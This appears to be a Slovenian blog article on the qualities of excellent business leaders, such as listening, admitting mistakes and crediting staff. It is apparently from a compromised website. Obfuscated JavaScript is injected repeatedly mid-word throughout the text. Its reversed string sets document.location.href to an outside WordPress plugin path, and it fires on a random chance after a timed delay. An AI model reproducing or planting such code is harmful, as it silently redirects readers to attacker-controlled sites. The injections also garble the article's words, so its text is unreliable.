V raznih študijah je bilo ugotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovljeno, da so najuspešnejša podjetja tista, kjer imajo njihovi vodje nekatere posebne značilnosti, ki jih ločijo od ostalih. Gre za vodje, ki imajo hkrati močno voljo in željo po napredku, po drugi strani pa so do zaposlenih zelo korektni in priznavajo njihove zasluge. Izjemne vodje odlikujejo naslednje značilnosti:
Pustijo drugim ljudem do besede
Odlični vodje so dovolj prepričani vase, da pustijo drugim, da povejo svoje mnenje. Ne skušajo zasenčiti drugih in dajati vtisa, da so oni najboljši, ampak se trudijo, da bi se vsi zaposleni dobro počutili in bili slišani.
Priznajo svoje napake
Takrat, ko ugotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovijo, da so se glede nečesa zmotili, jim ni težko priznati svojih napak. Razumejo, da je delati napake nekaj človeškega in tako kot znajo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to oprostiti drugim, znajo tudi sebi.
Ne ukazujejo
Do drugih ljudi so spoštljivi in nikogar ne ponižujejo ali spravljajo v neroden položaj. Niso ukazovalnim, ampak na lep način predstavijo svoje želje in pričakovanja, ki jih imajo do drugih.
Iščejo dobro v drugih
Prizadevajo si, da bi čim bolje spoznali zaposlene in njihove sposobnosti in jim naložili tako delo, skozi katero se bodo lahko njihovi talenti najbolje izrazili. Dobri vodje se zavedajo, da ima vsak svoje prednosti in da bo podjetje najbolj uspešno takrat, ko bo vsak delal tistoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, v čemer je najboljši.
Priznavajo zasluge drugih
Odlični vodje ne postavljajo sebe v ospredje, ampak vse zaposlene spoštujejo in jih obravnavajo enakovredno. Znajo jih pohvaliti za dobro opravljeno delo. Zavedajo se, da so zaposleni tisti, ki omogočajo, da podjetje uspešno deluje.
Ne ovinkarijo, ampak povejo resnico
Razložijo situacijo tako, kot je. Ne ovinkarijo in ne prekrivajo dejstev samo zatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, da bi izpadli boljši v očeh drugih.
Težijo k nenehnemu učenju
Vejo, da njihovo stališče ni eno in edino. Pripravljeni so sprejemati tudi druge ideje. Zavedajo se, da se lahko od vsakega človeka kaj novega naučijo in ob tem rastejo. Postavljajo vprašanja in iskreno poslušajo odgovore.
Vključujejo druge
Odlični vodje zaupajo drugim ljudem in jim ponudijo okolje, kjer se počutijo varne in svobodne, da izrazijo svoje ideje in zamisli. Svojim zaposlenim zaupajo in se zavedajo pomena njihovega prispevka.
Vir:
Kategorija: Podjetništvo
Oznake: odlični vodje, podjetništvo